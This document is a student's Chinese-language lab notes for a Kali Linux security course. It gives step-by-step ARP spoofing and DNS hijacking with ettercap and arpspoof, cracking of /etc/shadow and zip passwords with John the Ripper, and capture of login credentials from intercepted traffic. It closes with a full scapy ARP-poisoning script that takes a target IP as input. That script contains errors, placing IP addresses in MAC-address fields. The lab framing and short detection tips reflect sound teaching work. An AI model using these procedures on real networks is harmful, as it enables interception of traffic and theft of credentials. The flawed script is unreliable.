前言
本人深感網絡安全實驗有點麻煩,花了一個晚上弄了部分,特此將筆記貢獻造福後人,個人能力有限,還會繼續更新。。。
彙報題目:15分鐘教你用 Python 寫一個 arpspoof(課件準備ing,如果弄完後續補上)
第一次網絡安全實驗(密碼學)也是我做的,這裏先放個自制工具:Java實現密碼學工具,集成了對稱加密算法DES,AES,IDEA,公開加密算法RSA,ECC,散列算法MD5,SHA1,CRC32,以及RSA,DSA,ECDSA數字簽名驗證示例。,具體報告有時間上傳一下。。
後續準備:將工具教程與實戰模塊分離。。。
Kali 常用指令
切換系統語言: sudo dpkg-reconfigure locales
獲取 root 權限:sudo -s
,輸入密碼
工具教程
ettercap 基本使用
左上角搜索 ettercap
,選擇 ettercap-graphical
打開軟件
Ettercap 掃描局域網主機
進入 ettercao 後,選擇網卡 eth0,其他的默認即可,然後點擊右上角的勾,進入操作的主界面。
(由於安裝kali的版本不同,Ettercap 界面可能有所不同,不過操作都是大同小異的)
Ettercap 掃描局域網主機
進入主操作界面後,點擊右上角的三個小點,選擇 Hosts- > Hosts list,就會出現一個局域網所有主機的列表,如果 主機列表爲空 或是 有些局域網裏的主機沒有顯示在列表裏,那麼就可以對整個局域網進行主機掃描,點擊三個小點 -> Hosts-> Scan for hosts。掃描完成後主機列表就會刷新了。
Ettercap 僞造網關欺騙
主機列表中,選中 網關IP 點擊 Add to Target 1,選擇 需要攻擊的目標主機IP 點擊 Add to Target 2。
這一步主要是欺騙被攻擊的目標主機,把 網關的IP地址僞造成 攻擊者 Mac 地址。讓被攻擊的目標主機 把數據發送到 攻擊者的主機上。
進行 ARP 欺騙
完成上面步驟後,接着點擊小地球選擇 ARP poisoning… 會彈出一個提示框讓你選擇,直接勾選第一個選項,點擊OK,最後一步點擊左上角的三角型按鈕進行啓動。
ARP 欺騙啓動後,被攻擊的目標主機數據請求就會自動發送到攻擊者的主機上來。
口令破解
加密算法,其實就是用明文密碼和一個叫 salt 的東西通過函數crypt()
完成加密。而所謂的密碼域密文也是由三部分組成的,即:$id$salt$encrypted
。
id
爲 1 時,採用 md5 進行加密;id
爲 5 時,採用 SHA256 進行加密;id
爲 6 時,採用 SHA512 進行加密;
通過 cat /etc/shadow
可以觀察到:
John the ripper 破解 linux 密碼【成功】
John the ripper 介紹:
- 四種模式:字典模式,簡單模式,增強模式,外掛模式
- Kali Linux 上的 John 隨帶的密碼列表。它位於下面這個路徑:
/usr/share/john/password.lst
john --wordlist=/usr/share/john/password.lst [filename]
john--show ~/file_to crack
把密碼文件拷貝到用戶目錄下:
cp /etc/shadow /home/yu/yusael
破解密碼文件:
john --wordlist=/usr/share/john/password.lst
查看破解後的密碼文件:
john -show shadow
l0phtcrack7 破解 windows 密碼【失敗】
功能:該工具支持遠程破解,理論上能破解所有密碼,但對複雜度比較高的密碼,破解時間很長
使用前提:
- 登錄了需要破解的計算機
- 知道需要破解的計算機的一個管理員的賬戶,密碼
選擇 Password Auditing Wizard
:
選擇要破解的密碼的計算機操作系統,這裏我們選擇 Unix-like
,點擊 next
:
選擇需要獲得密碼的計算機是本機器還是遠程機器,我們選擇 the local machine
本機
選擇是用登錄的賬戶還是其他管理員賬戶,這裏我們選擇第一個:登錄的賬戶
選擇密碼爆破方式,我們選擇第一種快速破解,當然,也可以選擇其他類型:
選擇報告方式,默認即可:
選擇 Run this job immediately
立刻執行:
點擊 finish
:
結果破解失敗了。
John 破解 zip 壓縮包的密碼【成功】
準備工具:
- zip壓縮包帶密碼 1個
- kali Linux機器 1個
操作步驟:
首先創建一個 hello.zip
壓縮文件,密碼爲 123321
,將他放到 Kali Linux 中;
使用 zip2john
命令爆出 hash 文件:zip2john hello.zip >> passwd.txt
然後使用 john
命令,計算 hash 文件:john passwd.txt
,成功破解出密碼:123321
。
ARP 欺騙、DNS 劫持
arpspoof 實現 ARP 欺騙【成功】
ARP欺騙:一種中間人攻擊,攻擊者通過毒化受害者的 ARP 緩存,將網關的 MAC 替換成攻擊者的 MAC ,於是攻擊者的主機實際上就充當了受害主機的網關,之後攻擊者就可以截獲受害者發出和接到的數據包,從中獲取賬號密碼、銀行卡信息等,也可以實現斷網操作。
注:我們可以通過在終端輸入
arp -a
來查詢 ARP 緩存,爲了防治 ARP 欺騙,可以通過arp -s IP MAC
綁定 IP 和 MAC 生成 靜態 ARP 表項
實驗環境:
- 虛擬機 A,使用 kali linux(攻擊者)
- 本地主機 B,win10
- A 和 B 處於同一局域網,這裏的虛擬機需要以橋接的方式進行連接!!!
橋接和 NAT 的區別
1、橋接和 NAT 都是虛擬機的一種通訊模式,都需要一塊網卡,但在橋接模式下虛擬機和主機在同一網段,而 NAT 模式下虛擬機和主機不在同一網段。
2、橋接網絡相當於虛擬機和主機接在同一交換機上,同時上網,虛擬機對物理機的 CPU 和網絡的直接影響較小,但安全性較低。
3、NAT 相當於虛擬機通過物理機連接網絡,此時物理機相當於一個路由器,虛擬機等同於申請到一個上網名額,對物理機的 CPU 和網絡的直接影響較大,但安全性較高。
實驗步驟:
1、主機 B 裏 ping www.baidu.com
檢查網絡
2、主機 B 裏 ipconfig
查詢主機 B 的 IP 地址
3、在 kali 的終端輸入 route -n
查詢當前局域網網關,爲:192.168.3.1
4、arp 攻擊指令格式:arpspoof -i [網卡名稱] -t [B的IP] [當前局域網網關]
;
在 kali 的終端裏輸入命令:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1
5、kali 中輸入指令後,回到主機 B,此時已經被ARP攻擊,斷網了。
命令行中ping www.baidu.com
測試網絡連通發現請求超時。
ettercap 進行 DNS 劫持【成功】
ipconfig
查看 Kali Liunx 的 IP 地址,我這裏是 192.168.3.21
;
vi /etc/ettercap/etter.dns
修改 etter.dns 文件,添加兩行:
* A 192.168.3.21
* PTR 192.168.3.21
開啓 apache2 服務:
service apache2 start
打開 ettercap
:
ettercap -G
點擊掃描,掃描到以後,點擊 Add to Target1
、Add to Target2
;
標題欄上點擊三個點,選擇 ARP poisoning...
:
選中 Sniff remote connections.
選擇 dns_spoof
,即 DNS 劫持攻擊。
點擊左上角的開始按鈕,此時下面顯示 Starting Unified sniffing...
便開始攻擊了。
此時目標機就連不上“國際互聯網”(這裏的目標機是我的Kali機子)。
ettercap 進行 ARP 欺騙【成功】
Ettercap 掃描局域網主機
進入 ettercao 後,選擇網卡 eth0,其他的默認即可,然後點擊右上角的勾,進入操作的主界面。
(由於安裝kali的版本不同,Ettercap 界面可能有所不同,不過操作都是大同小異的)
Ettercap 掃描局域網主機
進入主操作界面後,點擊右上角的三個小點,選擇 Hosts- > Hosts list,就會出現一個局域網所有主機的列表,如果 主機列表爲空 或是 有些局域網裏的主機沒有顯示在列表裏,那麼就可以對整個局域網進行主機掃描,點擊三個小點 -> Hosts-> Scan for hosts。掃描完成後主機列表就會刷新了。
Ettercap 僞造網關欺騙
主機列表中,選中 網關IP 點擊 Add to Target 1,選擇 需要攻擊的目標主機IP 點擊 Add to Target 2。
這一步主要是欺騙被攻擊的目標主機,把 網關的IP地址僞造成 攻擊者 Mac 地址。讓被攻擊的目標主機 把數據發送到 攻擊者的主機上。
進行 ARP 欺騙
完成上面步驟後,接着點擊小地球選擇 ARP poisoning… 會彈出一個提示框讓你選擇,直接勾選第一個選項,點擊OK,最後一步點擊左上角的三角型按鈕進行啓動。
ARP 欺騙啓動後,被攻擊的目標主機數據請求就會自動發送到攻擊者的主機上來。
此時目標主機已經受到攻擊。
通過 路由表 判斷 是否被 ARP 欺騙:ARP -n
HTTP&HTTPS賬號密碼獲取
先開啓端口轉發,保證正常上網:echo 1 > /proc/sys/net/ipv4/ip_forward
開始欺騙:arpspoof -i eth0 -t 192.168.3.3 192.168.3.1
用 ettercap 抓取登入帳號,密碼:ettercap -Tq -i eth0
修改中間人攻擊的配置文件:vim /etc/ettercap/etter.conf
Python 編寫 arpspoof
環境準備
虛擬機的連接方式:
- NAT(網絡地址轉換,虛擬機可以上網,但不能和物理機通信)-----VMnet8
- host only(主機模式,虛擬機之間回可以通信,與物理機不能通信)-----VMnet1
- bridge (橋接,答虛擬機與物理機在地位上相等,相當於與物理機在同一局域網的物理機)
Kali 如果沒有 pip3 工具,運行下面命令安裝 pip3:
apt install python3-pip
安裝 scapy 模塊:
pip3 insatall scapy
ARP 報文結構
以下內容摘自 維基百科:地址解析協議
以太網報文數據:
- 硬件類型:如以太網(0x0001)、分組無線網。
- 協議類型:如網際協議(IP)(0x0800)、IPv6(0x86DD)。
- 硬件地址長度:每種硬件地址的字節長度,一般爲6(以太網)。
- 協議地址長度:每種協議地址的字節長度,一般爲4(IPv4)。
- 操作碼:1 爲 ARP 請求,2 爲 ARP 應答,3爲RARP請求,4爲RARP應答。
- 源硬件地址:n個字節,n由硬件地址長度得到,一般爲發送方MAC地址。
- 源協議地址:m個字節,m由協議地址長度得到,一般爲發送方IP地址。
- 目標硬件地址:n個字節,n由硬件地址長 度得到,一般爲目標MAC地址。
- 目標協議地址:m個字節,m由協議地址長度得到,一般爲目標IP地址。
報文格式:對我們來說只需要關心 操作碼
、源硬件地址
、源協議地址
、目標硬件地址
、目標協議地址
CMD中:
from scapy.all import *
# 查看以太網報文
ls(Ether())
# 查看ARP報文
ls(ARP())
代碼編寫
#-*- coding:utf-8 -*-
from scapy.all import *
from scapy.layers.l2 import ARP, getmacbyip
import sys
'''
arp 緩衝表恢復
'''
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
print("[*] 恢復ARP緩衝...")
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,
hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_ip), count=5)
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))
'''
進行雙向欺騙
'''
def attack_target(gateway_ip, gateway_mac, target_ip, target_mac):
'''
首先使用 scapy 構造 ARP包
需要: 瞭解arp報文結構(見筆記)
[以太網的首部]默認即可;
查看默認的以太網頭部:
>>> ls(Ether())
dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '00:0c:29:07:a4:fd' (None)
type : XShortEnumField = 36864 (36864)
[arp頭部]默認即可;
需要了解:操作碼 源硬件地址 源協議地址 目標硬件地址 目標協議地址
查看ARP報文:
>>> ls(ARP())
hwtype : XShortField = 1 (1)
ptype : XShortEnumField = 2048 (2048)
hwlen : FieldLenField = None (None)
plen : FieldLenField = None (None)
op : ShortEnumField = 1 (1)
hwsrc : MultipleTypeField = '00:0c:29:07:a4:fd' (None)
psrc : MultipleTypeField = '192.168.3.21' (None)
hwdst : MultipleTypeField = '00:00:00:00:00:00' (None)
pdst : MultipleTypeField = '0.0.0.0' (None)
我們關心的是以下幾個屬性:
[op]: 操作碼, 默認爲 1
1爲 ARP請求, 2爲 ARP應答, 3爲 RARP請求, 4爲 RARP應答
RARP —— 逆地址解析協議, 作用與 ARP 相反, 將 MAC 地址轉換爲 IP 地址。
[hwsrc]: 發送方 MAC 地址, 用於告訴對方我的 MAC 地址是什麼, 默認爲本機, 可以忽略該屬性
hw —— hardware:硬件, src —— source:源, 也就是自己
[psrc]: 發送方 IP 地址, 用於告訴對方我的 IP 地址是什麼, 可以用來【僞裝】
下面兩個屬性決定報文發給誰:
[hwdst]: 目標 MAC 地址
dst —— destination:目的地
[pdst]: 目標 IP 地址
'''
# 欺騙目標主機, 我是網關
'''
發送給目標主機(target_ip)
欺騙它:
我的 IP 是 gateway_ip(我是網關)
我的 MAC地址 是 hwsrc(默認本機)
'''
poison_target = ARP() # 構造 ARP包
poison_target.op = 2 # ARP應答
poison_target.psrc = gateway_ip # 我的 IP 是 gateway_ip(我是網關)
poison_target.pdst = target_ip # 目標 IP 地址
poison_target.hwdst = target_mac # 目標 MAC 地址
# 欺騙網關, 我是目標主機
'''
發送給網關(gateway_ip)
欺騙它:
我的 IP 是 target_ip(我是目標主機)
我的 MAC地址 是 hwsrc(默認本機)
'''
poison_gateway = ARP() # 構造 ARP包
poison_gateway.op = 2 # ARP應答
poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目標主機)
poison_gateway.pdst = gateway_ip # 目標 IP地址, 發送給網關
poison_gateway.hwdst = gateway_ip # 目標 MAC地址, 發送給網關
print("[*] 正在進行ARP投毒. [CTRL-C 停止]")
while True:
try:
# 不停的發送 ARP包
send(poison_target)
send(poison_gateway)
# 休眠一下, 避免太頻繁的欺騙, 影響網絡
time.sleep(2)
# 捕獲鍵盤中斷
except KeyboardInterrupt:
# 進行 ARP緩衝修復
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
break
print("[*] ARP投毒結束...")
def main():
# 網卡 (在kali上運行該腳本)
interface = "eth0"
# 網關
gateway_ip = "192.168.3.1"
# 目標ip
# target_ip = "192.168.3.3"
target_ip = input("請輸入你想攻擊的IP地址: ")
# 設置網卡
conf.iface = interface
# 關閉提示信息
conf.verb = 0
print("[*] 網卡: %s"%interface )
# 獲取網關MAC
gateway_mac = getmacbyip(gateway_ip)
if gateway_mac is None:
print("[!] 獲取網關MAC失敗. Exiting...")
sys.exit(0)
else:
print("[*] 網關: %s MAC: %s"%(gateway_ip, gateway_mac))
# 獲取目標主機MAC
target_mac = getmacbyip(target_ip)
if target_mac is None:
print("[!] 獲取目標主機MAC失敗. Exiting...")
sys.exit(0)
else:
print("[*] 目標主機: %s MAC: %s"%(target_ip, target_mac))
attack_target(gateway_ip, gateway_mac, target_ip, target_mac)
if __name__ == "__main__":
main()
開始測試
Kali 運行腳本,windows 作爲靶機。
VmVare 問題彙總
橋接模式沒有網
問題描述:VMWare安裝之後,虛擬網絡一直使用默認配置:即 VMnet0 爲 Bridged
模式,VMnet1 爲 Only-Host
模式,VMnet8 爲 NAT
模式。點擊了虛擬網絡編輯器(Virtual Network Editor) 恢復默認設置後,vMnet0 不見了,並且手動添加選擇橋接模式後會報錯:沒有未橋接的主機網絡適配器,無法將網絡更改爲橋接狀態。
此問題導致 VMnet0 無法選擇 bridge
模式,原因是 還原默認設置 按鈕的 卸載組件-安裝組件 過程刪除了橋接服務,使主機的網絡網卡沒能被成功識別。
解決方案:
搜索 網絡狀態,並點擊進入
點擊更改適配器選項:
右鍵點擊物理網卡,選擇屬性,比如我這裏連接的是WIFi:
檢查是否安裝並選中了 “VMWare Bridge protocol”,如果沒有請繼續看下去
點擊安裝後,選中服務,點擊添加
然後選擇從磁盤安裝,跳出來一個界面選擇瀏覽,在VMvare根目錄下找到 netbridge.inx
文件
安裝即可。
安裝完畢後,此時物理網卡-屬性中應該有 “VMWare Bridge protocol” 選項,打勾即可。
還需要啓動 vmnet bridging 驅動,管理員打開命令行:net start vmnetbridge
,或者重啓計算機自動開啓。
安全貼士
如何知道自己是否被 ARP欺騙攻擊 了?
在命令行窗口內輸入 ARP -a
查看路由表,如果發現你的網關的 Mac 地址,和局域網內某臺主機的 Mac 地址相同,就說明你被欺騙了。